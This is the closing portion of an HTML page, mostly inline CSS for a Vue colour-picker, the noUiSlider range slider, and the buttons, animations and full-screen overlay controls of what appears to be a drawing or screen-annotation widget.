              width: 24px;
              height: 24px;
              position: relative;
              margin-top: 4px;
              margin-left: 4px;
              border-radius: 3px;
            }

            .vc-sketch-active-color {
              position: absolute;
              top: 0;
              left: 0;
              right: 0;
              bottom: 0;
              border-radius: 2px;
              box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15), inset 0 0 4px rgba(0, 0, 0, 0.25);
              z-index: 2;
            }

            .vc-sketch-color-wrap .vc-checkerboard {
              background-size: auto;
            }

            .vc-sketch-field {
              display: flex;
              padding-top: 4px;
            }

            .vc-sketch-field .vc-input__input {
              width: 90%;
              padding: 4px 0 3px 10%;
              border: none;
              box-shadow: inset 0 0 0 1px #ccc;
              font-size: 10px;
            }

            .vc-sketch-field .vc-input__label {
              display: block;
              text-align: center;
              font-size: 11px;
              color: #222;
              padding-top: 3px;
              padding-bottom: 4px;
              text-transform: capitalize;
            }

            .vc-sketch-field--single {
              flex: 1;
              padding-left: 6px;
            }

            .vc-sketch-field--double {
              flex: 2;
            }

            .vc-sketch-presets {
              margin-right: -10px;
              margin-left: -10px;
              padding-left: 10px;
              padding-top: 10px;
              border-top: 1px solid #eee;
            }

            .vc-sketch-presets-color {
              border-radius: 3px;
              overflow: hidden;
              position: relative;
              display: inline-block;
              margin: 0 10px 10px 0;
              vertical-align: top;
              cursor: pointer;
              width: 16px;
              height: 16px;
              box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
            }

            .vc-sketch-presets-color .vc-checkerboard {
              box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
              border-radius: 3px;
            }

            .vc-sketch__disable-alpha .vc-sketch-color-wrap {
              height: 10px;
            }

            .app-color-picker[data-v-5b5d1e13] {
              position: relative;
              font-family: 'Didact Gothic', sans-serif
            }

            .app-color-picker.no-transparent[data-v-5b5d1e13] .vc-sketch-color-wrap {
              height: 10px
            }

            .app-color-picker.no-transparent[data-v-5b5d1e13] .vc-sketch-alpha-wrap {
              display: none
            }

            .app-color-picker.no-transparent[data-v-5b5d1e13] .vc-sketch-field .vc-sketch-field--single:last-child {
              display: none
            }

            .app-color-picker .color-wrapper[data-v-5b5d1e13] {
              height: 40px;
              width: 40px;
              display: flex;
              align-items: center;
              justify-content: center
            }

            .app-color-picker .color[data-v-5b5d1e13] {
              width: 34px;
              height: 34px;
              border: 1px solid var(--input-border-color);
              border-radius: 4px;
              cursor: pointer
            }

            .app-color-picker .drop-down[data-v-5b5d1e13] {
              display: none;
              position: absolute;
              bottom: 50px;
              left: 50%;
              transform: translate(-50%, 0%);
              z-index: 1000
            }

            .app-color-picker.open .drop-down[data-v-5b5d1e13] {
              display: block
            }

            /*! nouislider - 14.7.0 - 4/6/2021 */
            .noUi-target,
            .noUi-target * {
              -webkit-touch-callout: none;
              -webkit-tap-highlight-color: transparent;
              -webkit-user-select: none;
              -ms-touch-action: none;
              touch-action: none;
              -ms-user-select: none;
              -moz-user-select: none;
              user-select: none;
              -moz-box-sizing: border-box;
              box-sizing: border-box
            }

            .noUi-target {
              position: relative
            }

            .noUi-base,
            .noUi-connects {
              width: 100%;
              height: 100%;
              position: relative;
              z-index: 1
            }

            .noUi-connects {
              overflow: hidden;
              z-index: 0
            }

            .noUi-connect,
            .noUi-origin {
              will-change: transform;
              position: absolute;
              z-index: 1;
              top: 0;
              right: 0;
              -ms-transform-origin: 0 0;
              -webkit-transform-origin: 0 0;
              -webkit-transform-style: preserve-3d;
              transform-origin: 0 0;
              transform-style: flat
            }

            .noUi-connect {
              height: 100%;
              width: 100%
            }

            .noUi-origin {
              height: 10%;
              width: 10%
            }

            .noUi-txt-dir-rtl.noUi-horizontal .noUi-origin {
              left: 0;
              right: auto
            }

            .noUi-vertical .noUi-origin {
              width: 0
            }

            .noUi-horizontal .noUi-origin {
              height: 0
            }

            .noUi-handle {
              -webkit-backface-visibility: hidden;
              backface-visibility: hidden;
              position: absolute
            }

            .noUi-touch-area {
              height: 100%;
              width: 100%
            }

            .noUi-state-tap .noUi-connect,
            .noUi-state-tap .noUi-origin {
              -webkit-transition: transform .3s;
              transition: transform .3s
            }

            .noUi-state-drag * {
              cursor: inherit !important
            }

            .noUi-horizontal {
              height: 18px
            }

            .noUi-horizontal .noUi-handle {
              width: 34px;
              height: 28px;
              right: -17px;
              top: -6px
            }

            .noUi-vertical {
              width: 18px
            }

            .noUi-vertical .noUi-handle {
              width: 28px;
              height: 34px;
              right: -6px;
              top: -17px
            }

            .noUi-txt-dir-rtl.noUi-horizontal .noUi-handle {
              left: -17px;
              right: auto
            }

            .noUi-target {
              background: #FAFAFA;
              border-radius: 4px;
              border: 1px solid #D3D3D3;
              box-shadow: inset 0 1px 1px #F0F0F0, 0 3px 6px -5px #BBB
            }

            .noUi-connects {
              border-radius: 3px
            }

            .noUi-connect {
              background: #3FB8AF
            }

            .noUi-draggable {
              cursor: ew-resize
            }

            .noUi-vertical .noUi-draggable {
              cursor: ns-resize
            }

            .noUi-handle {
              border: 1px solid #D9D9D9;
              border-radius: 3px;
              background: #FFF;
              cursor: default;
              box-shadow: inset 0 0 1px #FFF, inset 0 1px 7px #EBEBEB, 0 3px 6px -3px #BBB
            }

            .noUi-active {
              box-shadow: inset 0 0 1px #FFF, inset 0 1px 7px #DDD, 0 3px 6px -3px #BBB
            }

            .noUi-handle:after,
            .noUi-handle:before {
              content: "";
              display: block;
              position: absolute;
              height: 14px;
              width: 1px;
              background: #E8E7E6;
              left: 14px;
              top: 6px
            }

            .noUi-handle:after {
              left: 17px
            }

            .noUi-vertical .noUi-handle:after,
            .noUi-vertical .noUi-handle:before {
              width: 14px;
              height: 1px;
              left: 6px;
              top: 14px
            }

            .noUi-vertical .noUi-handle:after {
              top: 17px
            }

            [disabled] .noUi-connect {
              background: #B8B8B8
            }

            [disabled] .noUi-handle,
            [disabled].noUi-handle,
            [disabled].noUi-target {
              cursor: not-allowed
            }

            .noUi-pips,
            .noUi-pips * {
              -moz-box-sizing: border-box;
              box-sizing: border-box
            }

            .noUi-pips {
              position: absolute;
              color: #999
            }

            .noUi-value {
              position: absolute;
              white-space: nowrap;
              text-align: center
            }

            .noUi-value-sub {
              color: #ccc;
              font-size: 10px
            }

            .noUi-marker {
              position: absolute;
              background: #CCC
            }

            .noUi-marker-sub {
              background: #AAA
            }

            .noUi-marker-large {
              background: #AAA
            }

            .noUi-pips-horizontal {
              padding: 10px 0;
              height: 80px;
              top: 100%;
              left: 0;
              width: 100%
            }

            .noUi-value-horizontal {
              -webkit-transform: translate(-50%, 50%);
              transform: translate(-50%, 50%)
            }

            .noUi-rtl .noUi-value-horizontal {
              -webkit-transform: translate(50%, 50%);
              transform: translate(50%, 50%)
            }

            .noUi-marker-horizontal.noUi-marker {
              margin-left: -1px;
              width: 2px;
              height: 5px
            }

            .noUi-marker-horizontal.noUi-marker-sub {
              height: 10px
            }

            .noUi-marker-horizontal.noUi-marker-large {
              height: 15px
            }

            .noUi-pips-vertical {
              padding: 0 10px;
              height: 100%;
              top: 0;
              left: 100%
            }

            .noUi-value-vertical {
              -webkit-transform: translate(0, -50%);
              transform: translate(0, -50%);
              padding-left: 25px
            }

            .noUi-rtl .noUi-value-vertical {
              -webkit-transform: translate(0, 50%);
              transform: translate(0, 50%)
            }

            .noUi-marker-vertical.noUi-marker {
              width: 5px;
              height: 2px;
              margin-top: -1px
            }

            .noUi-marker-vertical.noUi-marker-sub {
              width: 10px
            }

            .noUi-marker-vertical.noUi-marker-large {
              width: 15px
            }

            .noUi-tooltip {
              display: block;
              position: absolute;
              border: 1px solid #D9D9D9;
              border-radius: 3px;
              background: #fff;
              color: #000;
              padding: 5px;
              text-align: center;
              white-space: nowrap
            }

            .noUi-horizontal .noUi-tooltip {
              -webkit-transform: translate(-50%, 0);
              transform: translate(-50%, 0);
              left: 50%;
              bottom: 120%
            }

            .noUi-vertical .noUi-tooltip {
              -webkit-transform: translate(0, -50%);
              transform: translate(0, -50%);
              top: 50%;
              right: 120%
            }

            .noUi-horizontal .noUi-origin>.noUi-tooltip {
              -webkit-transform: translate(50%, 0);
              transform: translate(50%, 0);
              left: auto;
              bottom: 10px
            }

            .noUi-vertical .noUi-origin>.noUi-tooltip {
              -webkit-transform: translate(0, -18px);
              transform: translate(0, -18px);
              top: auto;
              right: 28px
            }

            .app-vertical-range-slider .slider {
              height: 110px;
              width: 14px;
              border: none;
              background: #c3daff;
              border-radius: 2px;
              box-shadow: none
            }

            .app-vertical-range-slider .slider.noUi-target {
              padding: 8px 0
            }

            .app-vertical-range-slider .slider .noUi-connects {
              margin: -8px 0;
              height: calc(100% + 16px)
            }

            .app-vertical-range-slider .slider .noUi-touch-area {
              height: 16px;
              width: 16px;
              border-radius: 2px
            }

            .app-vertical-range-slider .slider .noUi-handle {
              background: #ff9600;
              height: 16px;
              width: 16px;
              border-radius: 2px;
              box-shadow: none;
              border: none;
              right: -1px;
              top: 0px;
              outline: none
            }

            .app-vertical-range-slider .slider .noUi-handle:before,
            .app-vertical-range-slider .slider .noUi-handle:after {
              display: none
            }

            .app-vertical-range-slider .slider .noUi-connects .noUi-connect {
              background: #c3daff
            }

            .app-vertical-range-slider .slider .noUi-connects .noUi-connect:first-child {
              background: #3c84f7
            }

            button.btn[data-v-dd2c3b0c] {
              display: inline-block;
              font-weight: 300;
              line-height: 1.25;
              text-align: center;
              white-space: nowrap;
              vertical-align: middle;
              user-select: none;
              border: 1px solid transparent;
              cursor: pointer;
              letter-spacing: 1px;
              transition: all 0.15s ease
            }

            button.btn.btn-sm[data-v-dd2c3b0c] {
              padding: 0.4rem 0.8rem;
              font-size: 0.8rem;
              border-radius: 0.2rem
            }

            button.btn.btn-primary[data-v-dd2c3b0c] {
              color: #fff;
              background-color: #45c8f1;
              border-color: #45c8f1
            }

            button.btn.btn-outline-primary[data-v-dd2c3b0c] {
              color: #45c8f1;
              background-color: transparent;
              border-color: #45c8f1
            }

            button.btn.btn-danger[data-v-dd2c3b0c] {
              color: #fff;
              background-color: #ff4949;
              border-color: #ff4949
            }

            .text-muted[data-v-dd2c3b0c] {
              color: #8492a6
            }

            .text-center[data-v-dd2c3b0c] {
              text-align: center
            }

            .drop-down-enter[data-v-dd2c3b0c],
            .drop-down-leave-to[data-v-dd2c3b0c] {
              transform: translateX(0) translateY(-20px);
              transition-timing-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
              opacity: 0
            }

            .drop-down-enter-active[data-v-dd2c3b0c],
            .drop-down-leave-active[data-v-dd2c3b0c] {
              transition: all 0.15s
            }

            .move-left-enter[data-v-dd2c3b0c],
            .move-left-leave-to[data-v-dd2c3b0c] {
              transform: translateY(0) translateX(-80px);
              transition-timing-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
              opacity: 0
            }

            .move-left-enter-active[data-v-dd2c3b0c],
            .move-left-leave-active[data-v-dd2c3b0c] {
              transition: all 0.15s
            }

            .no-tr[data-v-dd2c3b0c] {
              transition: none !important
            }

            .no-tr *[data-v-dd2c3b0c] {
              transition: none !important
            }

            .overlay[data-v-dd2c3b0c] {
              position: fixed;
              background: rgba(220, 220, 220, 0.8);
              display: flex;
              align-items: center;
              justify-content: center;
              top: 0;
              left: 0;
              right: 0;
              bottom: 0;
              transition: all 0.2s ease;
              opacity: 0;
              visibility: hidden
            }

            .overlay .modal[data-v-dd2c3b0c] {
              transition: all 0.2s ease;
              opacity: 0;
              transform: scale(0.6);
              overflow: hidden
            }

            .overlay.show[data-v-dd2c3b0c] {
              opacity: 1;
              visibility: visible
            }

            .overlay.show .modal[data-v-dd2c3b0c] {
              opacity: 1;
              transform: scale(1)
            }

            .panel[data-v-dd2c3b0c] {
              padding: 6px 10px;
              display: flex;
              width: 100%;
              box-sizing: border-box;
              align-items: center;
              border-radius: 6px;
              position: relative;
              border: 1px solid #eaf7ff;
              background: #f7fcff;
              outline: none;
              transition: all 0.07s ease-in-out
            }

            .btn[data-v-dd2c3b0c] {
              cursor: pointer;
              box-sizing: border-box
            }

            .light-btn[data-v-dd2c3b0c] {
              padding: 10px 12px;
              display: flex;
              width: 100%;
              box-sizing: border-box;
              align-items: center;
              border-radius: 6px;
              position: relative;
              border: 1px solid #eaf7ff;
              background: #f7fcff;
              outline: none;
              cursor: pointer;
              transition: all 0.07s ease-in-out
            }

            .light-btn[data-v-dd2c3b0c]:hover {
              background: #e0f4ff;
              border-color: #8acfff
            }

            .primary-btn[data-v-dd2c3b0c] {
              background: #239bf5;
              color: white;
              border-radius: 6px;
              height: 46px;
              display: flex;
              align-items: center;
              justify-content: center;
              transition: 0.2s ease;
              font-size: 14px;
              font-family: "Didact Gothic Regular", sans-serif
            }

            .primary-btn[data-v-dd2c3b0c]:hover {
              background: #40a8f6;
              color: white;
              text-decoration: none
            }

            .shake[data-v-dd2c3b0c] {
              animation: shake-dd2c3b0c 0.82s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
              transform: translate3d(0, 0, 0)
            }

            @keyframes shake-dd2c3b0c {

              10%,
              90% {
                transform: translate3d(-1px, 0, 0)
              }

              20%,
              80% {
                transform: translate3d(2px, 0, 0)
              }

              30%,
              50%,
              70% {
                transform: translate3d(-4px, 0, 0)
              }

              40%,
              60% {
                transform: translate3d(4px, 0, 0)
              }
            }

            .pulse[data-v-dd2c3b0c] {
              animation: pulse-dd2c3b0c 2s ease infinite
            }

            @keyframes pulse-dd2c3b0c {
              0% {
                opacity: 0.7
              }

              50% {
                opacity: 0.4
              }

              100% {
                opacity: 0.7
              }
            }

            .flash-once[data-v-dd2c3b0c] {
              animation: flash-once 3.5s ease 1
            }

            @keyframes fade-up-dd2c3b0c {
              0% {
                transform: translate3d(0, 10px, 0);
                opacity: 0
              }

              100% {
                transform: translate3d(0, 0, 0);
                opacity: 1
              }
            }

            .fade-in[data-v-dd2c3b0c] {
              animation: fade-in-dd2c3b0c 0.3s ease-in-out
            }

            @keyframes fade-in-dd2c3b0c {
              0% {
                opacity: 0
              }

              100% {
                opacity: 1
              }
            }

            .spin[data-v-dd2c3b0c] {
              animation-name: spin-dd2c3b0c;
              animation-duration: 2000ms;
              animation-iteration-count: infinite;
              animation-timing-function: linear
            }

            @keyframes spin-dd2c3b0c {
              from {
                transform: rotate(0deg)
              }

              to {
                transform: rotate(360deg)
              }
            }

            .bounceIn[data-v-dd2c3b0c] {
              animation-name: bounceIn-dd2c3b0c;
              transform-origin: center bottom;
              animation-duration: 1s;
              animation-fill-mode: both;
              animation-iteration-count: 1
            }

            @keyframes bounceIn-dd2c3b0c {

              0%,
              20%,
              40%,
              60%,
              80%,
              100% {
                -webkit-transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
                transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1)
              }

              0% {
                opacity: 1;
                -webkit-transform: scale3d(0.8, 0.8, 0.8);
                transform: scale3d(0.8, 0.8, 0.8)
              }

              20% {
                -webkit-transform: scale3d(1.1, 1.1, 1.1);
                transform: scale3d(1.1, 1.1, 1.1)
              }

              40% {
                -webkit-transform: scale3d(0.9, 0.9, 0.9);
                transform: scale3d(0.9, 0.9, 0.9)
              }

              60% {
                opacity: 1;
                -webkit-transform: scale3d(1.03, 1.03, 1.03);
                transform: scale3d(1.03, 1.03, 1.03)
              }

              80% {
                -webkit-transform: scale3d(0.97, 0.97, 0.97);
                transform: scale3d(0.97, 0.97, 0.97)
              }

              100% {
                opacity: 1;
                -webkit-transform: scale3d(1, 1, 1);
                transform: scale3d(1, 1, 1)
              }
            }

            @keyframes dots-dd2c3b0c {

              0%,
              20% {
                color: rgba(0, 0, 0, 0);
                text-shadow: 0.25em 0 0 rgba(0, 0, 0, 0), 0.5em 0 0 rgba(0, 0, 0, 0)
              }

              40% {
                color: #8492a6;
                text-shadow: 0.25em 0 0 rgba(0, 0, 0, 0), 0.5em 0 0 rgba(0, 0, 0, 0)
              }

              60% {
                text-shadow: 0.25em 0 0 #8492a6, 0.5em 0 0 rgba(0, 0, 0, 0)
              }

              80%,
              100% {
                text-shadow: 0.25em 0 0 #8492a6, 0.5em 0 0 #8492a6
              }
            }

            @keyframes recording-dd2c3b0c {
              0% {
                box-shadow: 0px 0px 5px 0px rgba(173, 0, 0, 0.3)
              }

              65% {
                box-shadow: 0px 0px 5px 5px rgba(173, 0, 0, 0.3)
              }

              90% {
                box-shadow: 0px 0px 5px 5px rgba(173, 0, 0, 0)
              }
            }

            @font-face {
              font-family: 'Didact Gothic Regular';
              src: url(data:font/woff2;base64,[encoded data, 34904 characters]) format("woff");
              font-weight: normal;
              font-style: normal
            }

            body[data-v-dd2c3b0c] {
              margin: 0;
              font-size: 100%;
              color: #3c4858
            }

            a[data-v-dd2c3b0c] {
              text-decoration: none;
              color: #45c8f1
            }

            h1[data-v-dd2c3b0c],
            h2[data-v-dd2c3b0c],
            h3[data-v-dd2c3b0c],
            h4[data-v-dd2c3b0c] {
              margin-top: 0
            }

            svg[data-v-dd2c3b0c] {
              outline: none
            }

            .app-main[data-v-dd2c3b0c] {
              position: fixed;
              z-index: 2147483647;
              top: 0;
              left: 0;
              width: 100%;
              height: 100vh;
              pointer-events: none
            }

            .app-main .container[data-v-dd2c3b0c] {
              width: 100%;
              height: 100%;
              overflow: hidden;
              position: relative;
              pointer-events: none
            }

            .app-main .container canvas[data-v-dd2c3b0c] {
              width: 100%;
              height: 100%
            }

            .app-main .container .controls[data-v-dd2c3b0c] {
              position: fixed;
              bottom: 0;
              left: 0;
              z-index: 2147483647;
              padding: 30px 30px;
              box-sizing: border-box;
              display: flex;
              pointer-events: none
            }

            .app-main .container .controls .btn[data-v-dd2c3b0c] {
              background: #f8fcff;
              border: 1px solid #cde5f6;
              pointer-events: all;
              width: 40px;
              height: 40px;
              border-radius: 6px;
              display: flex;
              align-items: center;
              justify-content: center;
              transition: 0.2s ease
            }

            .app-main .container .controls .play-btn[data-v-dd2c3b0c] {
              background: #3c84f7;
              margin-right: 20px;
              border: none
            }

            .app-main .container .controls .play-btn[data-v-dd2c3b0c]:hover {
              background: #5997f8
            }

            .app-main .container .controls .play-btn svg[data-v-dd2c3b0c] {
              width: 14px;
              height: auto
            }

            .app-main .container .controls .play-btn svg path[data-v-dd2c3b0c] {
              fill: white
            }

            .app-main .container .controls .items[data-v-dd2c3b0c] {
              display: flex
            }

            .app-main .container .controls .control-item[data-v-dd2c3b0c] {
              box-sizing: border-box;
              margin-right: 10px;
              transition: 0.2s ease;
              position: relative;
              border-radius: 6px
            }

            .app-main .container .controls .control-item .btn svg[data-v-dd2c3b0c] {
              width: 16px;
              height: auto
            }

            .app-main .container .controls .control-item .btn svg path[data-v-dd2c3b0c] {
              fill: #1aa1fa;
              transition: 0.2s ease
            }

            .app-main .container .controls .control-item.close-record .btn svg path[data-v-dd2c3b0c] {
              fill: #fd2d5e
            }

            .app-main .container .controls .control-item .input-wrap[data-v-dd2c3b0c] {
              position: absolute;
              top: -135px;
              left: 0;
              width: 100%;
              height: 135px;
              align-items: center;
              display: flex;
              justify-content: center
            }

            .app-main .container .controls .control-item .app-vertical-range-slider[data-v-dd2c3b0c] {
              pointer-events: none;
              opacity: 0;
              transition: 0.2s ease
            }

            .app-main .container .controls .control-item:hover .btn[data-v-dd2c3b0c] {
              background: #d9efff
            }

            .app-main .container .controls .control-item.active .btn[data-v-dd2c3b0c] {
              background: #3c84f7;
              border-color: #3c84f7
            }

            .app-main .container .controls .control-item.active .btn svg path[data-v-dd2c3b0c] {
              fill: white
            }

            .app-main .container .controls .control-item.active:hover .input-wrap[data-v-dd2c3b0c] {
              pointer-events: all
            }

            .app-main .container .controls .control-item.active:hover .app-vertical-range-slider[data-v-dd2c3b0c] {
              pointer-events: all;
              opacity: 1
            }

            button.btn[data-v-0e08457d] {
              display: inline-block;
              font-weight: 300;
              line-height: 1.25;
              text-align: center;
              white-space: nowrap;
              vertical-align: middle;
              user-select: none;
              border: 1px solid transparent;
              cursor: pointer;
              letter-spacing: 1px;
              transition: all 0.15s ease
            }

            button.btn.btn-sm[data-v-0e08457d] {
              padding: 0.4rem 0.8rem;
              font-size: 0.8rem;
              border-radius: 0.2rem
            }

            button.btn.btn-primary[data-v-0e08457d] {
              color: #fff;
              background-color: #45c8f1;
              border-color: #45c8f1
            }

            button.btn.btn-outline-primary[data-v-0e08457d] {
              color: #45c8f1;
              background-color: transparent;
              border-color: #45c8f1
            }

            button.btn.btn-danger[data-v-0e08457d] {
              color: #fff;
              background-color: #ff4949;
              border-color: #ff4949
            }

            .text-muted[data-v-0e08457d] {
              color: #8492a6
            }

            .text-center[data-v-0e08457d] {
              text-align: center
            }

            .drop-down-enter[data-v-0e08457d],
            .drop-down-leave-to[data-v-0e08457d] {
              transform: translateX(0) translateY(-20px);
              transition-timing-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
              opacity: 0
            }

            .drop-down-enter-active[data-v-0e08457d],
            .drop-down-leave-active[data-v-0e08457d] {
              transition: all 0.15s
            }

            .move-left-enter[data-v-0e08457d],
            .move-left-leave-to[data-v-0e08457d] {
              transform: translateY(0) translateX(-80px);
              transition-timing-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
              opacity: 0
            }

            .move-left-enter-active[data-v-0e08457d],
            .move-left-leave-active[data-v-0e08457d] {
              transition: all 0.15s
            }

            .no-tr[data-v-0e08457d] {
              transition: none !important
            }

            .no-tr *[data-v-0e08457d] {
              transition: none !important
            }

            .overlay[data-v-0e08457d] {
              position: fixed;
              background: rgba(220, 220, 220, 0.8);
              display: flex;
              align-items: center;
              justify-content: center;
              top: 0;
              left: 0;
              right: 0;
              bottom: 0;
              transition: all 0.2s ease;
              opacity: 0;
              visibility: hidden
            }

            .overlay .modal[data-v-0e08457d] {
              transition: all 0.2s ease;
              opacity: 0;
              transform: scale(0.6);
              overflow: hidden
            }

            .overlay.show[data-v-0e08457d] {
              opacity: 1;
              visibility: visible
            }

            .overlay.show .modal[data-v-0e08457d] {
              opacity: 1;
              transform: scale(1)
            }

            .panel[data-v-0e08457d] {
              padding: 6px 10px;
              display: flex;
              width: 100%;
              box-sizing: border-box;
              align-items: center;
              border-radius: 6px;
              position: relative;
              border: 1px solid #eaf7ff;
              background: #f7fcff;
              outline: none;
              transition: all 0.07s ease-in-out
            }

            .btn[data-v-0e08457d] {
              cursor: pointer;
              box-sizing: border-box
            }

            .light-btn[data-v-0e08457d] {
              padding: 10px 12px;
              display: flex;
              width: 100%;
              box-sizing: border-box;
              align-items: center;
              border-radius: 6px;
              position: relative;
              border: 1px solid #eaf7ff;
              background: #f7fcff;
              outline: none;
              cursor: pointer;
              transition: all 0.07s ease-in-out
            }

            .light-btn[data-v-0e08457d]:hover {
              background: #e0f4ff;
              border-color: #8acfff
            }

            .primary-btn[data-v-0e08457d] {
              background: #239bf5;
              color: white;
              border-radius: 6px;
              height: 46px;
              display: flex;
              align-items: center;
              justify-content: center;
              transition: 0.2s ease;
              font-size: 14px;
              font-family: "Didact Gothic Regular", sans-serif
            }

            .primary-btn[data-v-0e08457d]:hover {
              background: #40a8f6;
              color: white;
              text-decoration: none
            }

            .shake[data-v-0e08457d] {
              animation: shake-0e08457d 0.82s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
              transform: translate3d(0, 0, 0)
            }

            @keyframes shake-0e08457d {

              10%,
              90% {
                transform: translate3d(-1px, 0, 0)
              }

              20%,
              80% {
                transform: translate3d(2px, 0, 0)
              }

              30%,
              50%,
              70% {
                transform: translate3d(-4px, 0, 0)
              }

              40%,
              60% {
                transform: translate3d(4px, 0, 0)
              }
            }

            .pulse[data-v-0e08457d] {
              animation: pulse-0e08457d 2s ease infinite
            }

            @keyframes pulse-0e08457d {
              0% {
                opacity: 0.7
              }

              50% {
                opacity: 0.4
              }

              100% {
                opacity: 0.7
              }
            }

            .flash-once[data-v-0e08457d] {
              animation: flash-once 3.5s ease 1
            }

            @keyframes fade-up-0e08457d {
              0% {
                transform: translate3d(0, 10px, 0);
                opacity: 0
              }

              100% {
                transform: translate3d(0, 0, 0);
                opacity: 1
              }
            }

            .fade-in[data-v-0e08457d] {
              animation: fade-in-0e08457d 0.3s ease-in-out
            }

            @keyframes fade-in-0e08457d {
              0% {
                opacity: 0
              }

              100% {
                opacity: 1
              }
            }

            .spin[data-v-0e08457d] {
              animation-name: spin-0e08457d;
              animation-duration: 2000ms;
              animation-iteration-count: infinite;
              animation-timing-function: linear
            }

            @keyframes spin-0e08457d {
              from {
                transform: rotate(0deg)
              }

              to {
                transform: rotate(360deg)
              }
            }

            .bounceIn[data-v-0e08457d] {
              animation-name: bounceIn-0e08457d;
              transform-origin: center bottom;
              animation-duration: 1s;
              animation-fill-mode: both;
              animation-iteration-count: 1
            }

            @keyframes bounceIn-0e08457d {

              0%,
              20%,
              40%,
              60%,
              80%,
              100% {
                -webkit-transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
                transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1)
              }

              0% {
                opacity: 1;
                -webkit-transform: scale3d(0.8, 0.8, 0.8);
                transform: scale3d(0.8, 0.8, 0.8)
              }

              20% {
                -webkit-transform: scale3d(1.1, 1.1, 1.1);
                transform: scale3d(1.1, 1.1, 1.1)
              }

              40% {
                -webkit-transform: scale3d(0.9, 0.9, 0.9);
                transform: scale3d(0.9, 0.9, 0.9)
              }

              60% {
                opacity: 1;
                -webkit-transform: scale3d(1.03, 1.03, 1.03);
                transform: scale3d(1.03, 1.03, 1.03)
              }

              80% {
                -webkit-transform: scale3d(0.97, 0.97, 0.97);
                transform: scale3d(0.97, 0.97, 0.97)
              }

              100% {
                opacity: 1;
                -webkit-transform: scale3d(1, 1, 1);
                transform: scale3d(1, 1, 1)
              }
            }

            @keyframes dots-0e08457d {

              0%,
              20% {
                color: rgba(0, 0, 0, 0);
                text-shadow: 0.25em 0 0 rgba(0, 0, 0, 0), 0.5em 0 0 rgba(0, 0, 0, 0)
              }

              40% {
                color: #8492a6;
                text-shadow: 0.25em 0 0 rgba(0, 0, 0, 0), 0.5em 0 0 rgba(0, 0, 0, 0)
              }

              60% {
                text-shadow: 0.25em 0 0 #8492a6, 0.5em 0 0 rgba(0, 0, 0, 0)
              }

              80%,
              100% {
                text-shadow: 0.25em 0 0 #8492a6, 0.5em 0 0 #8492a6
              }
            }

            @keyframes recording-0e08457d {
              0% {
                box-shadow: 0px 0px 5px 0px rgba(173, 0, 0, 0.3)
              }

              65% {
                box-shadow: 0px 0px 5px 5px rgba(173, 0, 0, 0.3)
              }

              90% {
                box-shadow: 0px 0px 5px 5px rgba(173, 0, 0, 0)
              }
            }

            @font-face {
              font-family: 'Didact Gothic Regular';
              src: url(data:font/woff2;base64,[encoded data, 34904 characters]) format("woff");
              font-weight: normal;
              font-style: normal
            }

            body[data-v-0e08457d] {
              margin: 0;
              font-size: 100%;
              color: #3c4858
            }

            a[data-v-0e08457d] {
              text-decoration: none;
              color: #45c8f1
            }

            h1[data-v-0e08457d],
            h2[data-v-0e08457d],
            h3[data-v-0e08457d],
            h4[data-v-0e08457d] {
              margin-top: 0
            }

            svg[data-v-0e08457d] {
              outline: none
            }

            .app-root[data-v-0e08457d] {
              line-height: normal
            }

          </style>
        </div>
      </template></div>
  </body>

</html>
